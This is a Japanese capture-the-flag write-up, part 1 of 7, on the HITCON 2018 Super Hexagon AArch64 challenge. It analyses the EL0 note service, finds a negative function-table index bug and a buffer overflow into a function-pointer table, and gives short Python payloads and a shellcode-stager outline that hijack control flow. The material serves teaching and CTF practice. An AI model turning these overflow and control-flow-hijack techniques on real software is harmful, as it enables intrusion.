# HITCON CTF 2018 - Super Hexagon (Part 1/7) ###### tags: `trustzone` `ctf` `pwn` `ARM` `Aarch64`, `kernel` `hypervisor` # はじめに この記事は,[CTF Advent Calendar 2020](https://adventar.org/calendars/5338) の3日目の記事です. 2日目は[@kusuwada](https://twitter.com/kusuwada)さんの「[オススメの初級者向けCTF](https://tech.kusuwada.com/entry/2020/12/02/065100)」でした. 今日から7日間かけて,HITCON CTF 2018で出題されたSuper Hexagonというタイトルの,Aarch64のpwn問を解説していきます.この問題は以下のような特徴があります. - アーキテクチャがAarch64である - 日本ではほとんど解説を見たことがない - ステージが6段階ある - 日本では解説を見たことがない 1. ユーザランド 2. カーネル 3. ハイパーバイザ 4. Trustzoneユーザランド 5. Trustzoneカーネル 6. セキュアモニタ - Firmwareのリバース/exploit要素が詰まっている - 日本ではカーネルレイヤの話すらほとんど解説がない - ハイパーバイザ以降の話もほとんど解説を見たことがない - Write-upを読んでもわからない - Write-upの記事を読むだけでは,(私の知識がなさすぎて)理解できない箇所が多すぎた 私は以前この問題に取り組み,納得行くまで色々調べ,その結果沢山のことを学びました.その内容は自分やチームのためにまとめて記事にしていたのですが,公開したほうが各位の知見になるのではと思い,今更ですが公開する次第です.尚,記事自体は結構前に書いてチーム内に公開していたものであり,若干記述が古い箇所があるかもしれませんが,ご了承ください. 解説は非常に長丁場になるため,各ステージごとに日を分けて解説していきます(但しPart6と7は,それまでの集大成になるため新たな解説がほとんどなく,とても短いです).そしてこれが一番伝えたいことなのですが,Pwn担当の方(中でも普通のやるだけPwnに飽きてきた方)は,ぜひ,流し読みするのではなく自分で納得行くまで解析してみてください.おそらくかなり手間取るとは思いますが,その分とても楽しめると思います. # 参考文献 - [PPP](https://github.com/pwning/public-writeup/blob/master/hitcon2018/super_hexagon/README.md) (EL0/EL1/EL2/S-EL0) - [BreakPoint](https://www.pwndiary.com/write-ups/hitcon-ctf-2018-super-hexagon-write-up-pwn236/) (EL0) - [Kernel Sanders](https://hernan.de/blog/2018/10/30/super-hexagon-a-journey-from-el0-to-s-el3/) (EL0/EL1/EL2) - [Balsn](https://github.com/balsn/ctf_writeup/tree/master/20181019-hitconctf#super-hexagon) (EL0/EL1) - [NASA Rejects](https://nafod.net/blog/2019/08/02/hitcon-2018-super-hexagon.html) (EL0/EL1/EL2/S-EL0/S-EL2/S-EL3) 今回は主にチーム`NASA Rejects`のWrite-upを参考に,他のチームのWrite-upも取り込みながら,6つのレベルを攻略していく. # リンク集 - Part1/7 (EL0) - https://hackmd.io/@bata24/HyMQI7PuB - Part2/7 (EL1) - https://hackmd.io/@bata24/HJMKyaDfI - Part3/7 (EL2) - https://hackmd.io/@bata24/S1bHxavMU - Part4/7 (S-EL0) - https://hackmd.io/@bata24/BJHBSc0g8 - Part5/7 (S-EL0別解) - https://hackmd.io/@bata24/By9QPlFMU - Part6/7 (S-EL1) - https://hackmd.io/@bata24/H1N-W6vf8 - Part7/7 (S-EL3) - https://hackmd.io/@bata24/HJhLZTvGI # 問題文 https://ctf2018.hitcon.org/dashboard/#9 ```= UPDATE: bios.bin (2018-10-20 08:01:00 UTC) Escape each level for your six flags. EL0 – Hard EL1 – Harder EL2 – Hardest S-EL0 – Hardester S-EL1 – Hardestest S-EL3 – Hardestestest nc 54.64.96.126 6666 Something good for you (AArch64のマニュアルPDFへのリンク) super_hexagon-2044407c141e2a3a49d9fb57b62c73ee.tar.xz (問題イメージへのリンク) ``` 問題はここからDLできる.ただしAArch64のマニュアルPDF(`AArch64-Reference-Manual.pdf`)は含まれていない. https://github.com/grant-h/ctf/blob/master/hitcon18/superhexagon/super_hexagon-2044407c141e2a3a49d9fb57b62c73ee.tar.xz # 初動調査 以下のファイル群が渡される.docker内でqemuが動き,その上でBIOSが動く構造である. ```= qemu.patch # パッチ情報(フラグレジスタを新規追加したこの問題用のオリジナルHWを定義) qemu-arm-debug.patch # パッチ情報(セキュアワールドをデバッグし易くするためのもの.詳細はS-EL0の攻略で述べる) README # 各レベルのフラグは,システムレジスタ内にあることが記述されている super_hexagon/ share/ # docker内の/home/super_hexagon/にマウントされるディレクトリ bios.bin # qemu上で動くBIOS qemu-system-aarch64 # docker内で実行されるAArch64のqemu(qemu.patchが当たっている) run.sh # qemu起動コマンド flag/ # フラグが6個入っている tmp/ # docker内の/tmp/にマウントされるディレクトリ(今は空) docker-compose.yml # docker設定ファイル Dockerfile # docker設定ファイル xinetd # サーバ待受用 ``` ## 環境について アーキテクチャはAArch64(ARMv8)で,問題文よりTrustZoneが設定されている. TrustZoneはAArch64から導入された機構で,これまでのユーザランドやカーネル,ハイパーバイザの動作レベルをEL0,EL1,EL2としたとき,大体以下のような構造になっている(公式のヒントより). ![](https://i.imgur.com/iz4eDB4.png) ELはException Levelのことで,直訳すると「例外レベル」だが,イメージとしてはRing-3,Ring-0などの概念に近い.ただし数字は逆なので注意しよう(EL0が最も権限が低い). 尚,S-EL2は存在しないことに注意しよう.ARMv8.4から導入される予定であるが,今回の環境では存在しない. ## 攻略方針 おそらく,EL0 → EL1 → EL2 → S-EL0 → S-EL1 → S-EL3 の順で攻略していく必要がある. ![](https://i.imgur.com/veZfIPB.png) まずは問題の理解が必要だ.その次に各ELのコードを抽出し,解析,脆弱性特定,最後にexploit開発,という流れになるはずだ. 必要に応じてデバッグ環境の構築,マニュアルの読解なども含まれるだろう. # 環境構築 ## 動作確認 `docker-compose`を導入したら,以下のコマンドでサービスが起動する. ```= $ docker-compose build $ docker-compose up -d ``` 同梱の`docker-compose.yaml`を読めば`6666/tcp`で待ち受けていることがわかるので,`docker`の外側から`netcat`などで接続する. 以下のような応答が得られる. どうやら16進数でデータを格納できる,シンプルなノート系サービスのようだ. ```= $ nc localhost 6666 NOTICE: UART console initialized INFO: MMU: Mapping 0 - 0x2844 (783) INFO: MMU: Mapping 0xe000000 - 0xe204000 (40000000000703) INFO: MMU: Mapping 0x9000000 - 0x9001000 (40000000000703) NOTICE: MMU enabled NOTICE: BL1: HIT-BOOT v1.0 INFO: BL1: RAM 0xe000000 - 0xe204000 INFO: SCTLR_EL3: 30c5083b INFO: SCR_EL3: 00000738 INFO: Entry point address = 0x40100000 INFO: SPSR = 0x3c9 VERBOSE: Argument #0 = 0x0 VERBOSE: Argument #1 = 0x0 VERBOSE: Argument #2 = 0x0 VERBOSE: Argument #3 = 0x0 NOTICE: UART console initialized [VMM] RO_IPA: 00000000-0000c000 [VMM] RW_IPA: 0000c000-0003c000 [KERNEL] mmu enabled INFO: TEE PC: e400000 INFO: TEE SPSR: 1d3 NOTICE: TEE OS initialized [KERNEL] Starting user program ... === Trusted Keystore === Command: 0 - Load key 1 - Save key cmd> 1 index: 0 key: AAAA [0] <= AAAA cmd> 1 index: 1 key: BBBB [1] <= BBBB cmd> 0 index: 0 [0] => aaaa cmd> 0 index: 1 [1] => bbbb cmd> ``` 尚,十分なメモリがVMゲストに与えられていないと`docker`内の`qemu`が起動に失敗する. `4GB`では不十分だったので,`8GB`程度はメモリを割り当てておくと良いだろう. ## docker設定変更 後で困らないように,`docker-compose.yaml`をいじって`/tmp`を`RW`にしておこう.これで`docker`内でも`apt`ができる.また`gdb`がまともに使えるよう,権限追加や`seccomp`解除をしておこう. ```= $ docker-compose stop $ vi docker-compose.yaml super_hexagon: build: ./ volumes: - ./share:/home/super_hexagon:ro - ./xinetd:/etc/xinetd.d/super_hexagon:ro - ./tmp:/tmp:rw ★ ports: - "6666:6666" expose: - "6666" cap_add:★ - ALL security_opt:★ - seccomp:unconfined $ docker-compose up -d ``` `docker`の中に入ることもできるので,必要に応じてイメージ内に色々ツールを入れておくと良い. ```= $ docker exec -it super_hexagon_super_hexagon_1 bash (docker内部で) $ apt update $ apt install -y apt-utils net-tools netcat $ apt install -y wget $ apt install -y dialog # vimのインストールエラー対策 $ apt install -y vim ``` ## qemu設定変更 また,`run.sh`は,先頭の`exec`や`timeout`を消して,末尾に`-S -s`をつけておくと`gdb`でデバッグができて良い.私は`-s`だけで良い派なので,以下のようにした. ```= $ vi share/run.sh #!/bin/bash # #exec timeout 120 /home/super_hexagon/qemu-system-aarch64 -nographic -machine hitcon -cpu hitcon -bios /home/super_hexagon/bios.bin -monitor /dev/null 2>/dev/null -serial null /home/super_hexagon/qemu-system-aarch64 -nographic -machine hitcon -cpu hitcon -bios /home/super_hexagon/bios.bin -monitor /dev/null 2>/dev/null -serial null -s ``` これで,以下のようにデバッグができる. ```= (docker内部で) $ gdb-multiarch -q -ex 'target remote :1234' ``` 尚,後半ではデバッグ中に無限ループに飛ばしてアタッチすることが多いので,以下のほうが有用だろう. ```= (docker内部で) $ gdb-multiarch -q -ex 'target remote :1234'; kill -9 $(pgrep qemu) ``` # EL0の攻略 ## ELFの解析 ### バイナリの切り出し `bios.bin`の末尾にELFが存在するので,切り出して解析してみよう. ```= $ binwalk bios.bin -eM Scan Time: 2019-10-06 17:52:46 Target File: /mnt/hgfs/Shared/HITCON-2018/super_hexagon/work/bios.bin MD5 Checksum: 62851c4cecfff42792d4ec20a530886f Signatures: 344 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 143472 0x23070 SHA256 hash constants, little endian 770064 0xBC010 ELF, 64-bit LSB executable, version 1 (SYSV) $ file _bios.bin.extracted/BC010.elf BC010.elf: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, with debug_info, not stripped $ mv _bios.bin.extracted/BC010.elf EL0_ELF ``` ### 動作内容の把握 いわゆるノートサービスで,コード量も多くはない.全体的に見ていこう. 利用されている構造体はこちら. ![](https://i.imgur.com/gaFdHDr.png) そしてこちらがコードだ. ![main](https://i.imgur.com/WsE1us6.png) ![intro](https://i.imgur.com/rdKGUXh.png) ![load_trustlet](https://i.imgur.com/VHFFalK.png) `main()`から呼ばれる`load_trustlet()`を見ると,`tc_`が頭についた関数が使われている.これがおそらくTrustZone関連なのだろう. なお`tc_register_wsm()`や`tc_init_trustlet()`の中身は`syscall`を呼んでいるだけであった. ![tc_register_wsm](https://i.imgur.com/Qmh5GCQ.png) ![tc_init_trustlet](https://i.imgur.com/xtWHraz.png) ![tc_tci_call](https://i.imgur.com/fGIkw9w.png) `syscall`の先がどうハンドリングされるかは現時点では不明なので後回しにするとして,とりあえず,セキュアワールドに渡している(確保した`wsm`に`memcpy()`で書き込んでいる)バイナリデータ(`TA_BIN`)は,後に使うと思われるのでダンプしておこう.これはおそらくS-EL0のコードだ. さて,ここからがノートサービスだ.実にシンプルな作りである.メニューでは`cmd`と`index`を受け取り,`cmd=1`のときは`key`も受け取る. ![run](https://i.imgur.com/kU7FZZr.png) ロード機能の実装は以下の通り.`tci_buf`に`cmd`と`index`をセットし,システムコールを呼び出す.するとTrustZoneで処理され,`tci_buf->data`にデータが入ってくる仕組みらしい. ![cmd_load](https://i.imgur.com/I3oBrY8.png) ![load_key](https://i.imgur.com/Fdo0K7q.png) セーブ機能の実装は以下の通り.こちらも同様,`tci_buf`に`cmd`と`index`と`data`(16進数ASCII形式)をセットし,システムコールを呼び出す.するとデータがTrustZoneに保存される仕組みらしい. ![cmd_save](https://i.imgur.com/uAuOjGX.png) ![save_key](https://i.imgur.com/TZZfgjV.png) ここで,脆弱性は2つ存在する. ### 脆弱性 #### 脆弱性1 `run()`関数には,関数テーブルのインデックスバグが存在する. コード上は`cmd=1`or`0`しか想定していないが,実際はどんな値でも受け付けてしまうのだ. ![](https://i.imgur.com/kOnNtuI.png) さて,我々の入力バッファは`input`と呼ばれるグローバル変数に入っている(これは`scanf()`の実装からわかる). ![](https://i.imgur.com/It96XLV.png) `input`は`cmdtb`の`0x100`バイト前に存在する. ![](https://i.imgur.com/SFfZ09e.png) もしコマンド番号として`-32 (= -0x100/8)`を指定すると,どうなるだろうか. `cmdtb[]`は`_QWORD`な要素の配列であるため,`cmdtb[-32]`は`&cmdtb[0] - 0x100`の位置を指すことになる. つまり`cmdtb[-32](buf, idx, size)`という形の関数呼び出しは,`input[0:8](buf, idx, size)`という形の関数呼び出しと同義であるため,`input`内のデータをアドレスと解釈して関数が呼び出されることになる. #### 脆弱性2 2つ目のバグは,`scanf()`の実装におけるBOFである. ![](https://i.imgur.com/It96XLV.png) `scanf()`では内部的に`gets()`と名前の付いた関数を用いている.この関数はバッファの長さチェックがないので,BOFが発生することになる.読み込み先の`input`は`.bss`上の`0x100`バイトの配列で,その直後には`cmdtb`,つまり関数ポインタが存在するので,BOFで上書きすれば制御を奪うことが出来る. ![](https://i.imgur.com/NkLs1oV.png) ## フラグ奪取 EL0には`print_flag()`関数が実装されている.`$PC`の制御を奪取できるなら,ここに飛ばせば良い. ![](https://i.imgur.com/zSqKlcY.png) ![](https://i.imgur.com/iZBJwgE.png) つまり脆弱性1を使った場合はこんなコードでフラグが取れることになる. ```= s, f = sock(HOST, PORT) f.write("-32\n" + pQ(0x400104) + "\n") shell(s) ``` または脆弱性2を使った場合はこんなコードでフラグが取れる. ```= s, f = sock(HOST, PORT) f.write("1\n1\n" + "A"*256 + pQ(0x400104)[:-1] + "\n") # save f.write("0\n1\n") # load shell(s) ``` 実行した結果がこちら(脆弱性2を使った場合). ```= $ py exp.py index: key: [1] <= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ cmd> index: Flag (EL0): hitcon{this is flag 1 for EL0} cmd> ``` ## 任意コード実行へ EL0のフラグを取るだけなら関数ポインタの差し替えだけでよいのだが,権限昇格につなげることを見据えた任意コード実行を行うにはひと手間必要だ. 任意コード実行のためには,シェルコード(stagerで良い)を`RWX`な領域へ書き込む必要がある.つまりまずは`RWX`な領域を作らなければならない.バイナリはスタティックリンクであり,`mprotect()`が存在するので,まずはここを呼び出すことからはじめよう. 先の脆弱性を使うと,`cmdtb[cmd](buf, idx, size)`の形で呼ばれる関数ポインタを`mprotect()`に差し替えられる.つまり`mprotect(buf, idx, size)`という形で呼び出されることになる. 但し`buf`が指すアドレスをユーザがコントロールすることはできない.従って`mprotect()`で`RWX`にする領域(=シェルコードを配置する領域)は,`buf`の指すアドレスつまり`main()`内で最初に`mmap()`により確保された領域となる.`idx`, `size`はユーザがコントロールすることが出来る. - 補足1: `idx`は関数ポインタを呼んだ先でチェックしているので,関数ポインタ自体を差し替えるならチェックはされない.つまりどの様な値を入れても良い. - 補足2: `size`は`strlen(input)`で計算されるため,`\0`が入っているとそこまでの長さで打ち切られる.ただし`size=7`(=`RWX`)にするとエラーメッセージが出てうまく行かない.これは(EL1カーネルを読むと分かるが)この環境が`W^X`を実装しているためである.エラーメッセージを参考に,`size=5`(=`R-X`)にすればうまくいく. - 補足3: `buf`には`mmap()`で確保されたアドレスが入っている.一見ランダムに見えるが,この環境はASLRを実装していないため,`0x7ffeffffd000`で固定である.これは`qemu`に`gdb`でアタッチすれば確認できる. - 補足4: `buf`にはシェルコードが`scanf()`経由で格納されるため,シェルコードに`0x0`, `0xa`, `0xd`, `0x20`を使うことはできない(正確には`0x0`だけは利用できるが何度かに分けて送らないといけないので面倒). - 補足5: このカーネルの`read()`のシステムコール実装は,`1`バイトずつしか読み込まないので,stagerにおける`read()`による転送も`1`バイトずつ送ること. ### exploit EL0で任意コード実行を行うexploitの実装は以下のようになる. :::spoiler Click {%gist bata24/929e267ad04b438a5a1a7210dc4c0230 %} ::: --- 小難しい感じでアセンブリが書かれているが,NULL回避をしながら - `mmap()`で`RW-`なメモリをシェルコード用に確保 - `0x1000`回の`read()`でシェルコードを追加読込 - `mprotect()`でシェルコードを`R-X`化 - シェルコードへジャンプ をしているだけである.stagerの先に,EL0のフラグを読み出すようなシェルコードを書いておけば良い. 尚アセンブリをその場でアセンブルしているので,動かすには以下のパッケージをインストールしておく必要がある. ``` apt install binutils # objdump用 apt install binutils-aarch64-linux-gnu # as/ld用 aarch64 apt install binutils-arm-linux-gnueabi # as/ld用 aarch32 (後半で使う) ``` # 続く 明日は私の[HITCON CTF 2018 - Super Hexagon (Part 2/7)](https://hackmd.io/@bata24/HJMKyaDfI)です.(公開日になるまで閲覧できません)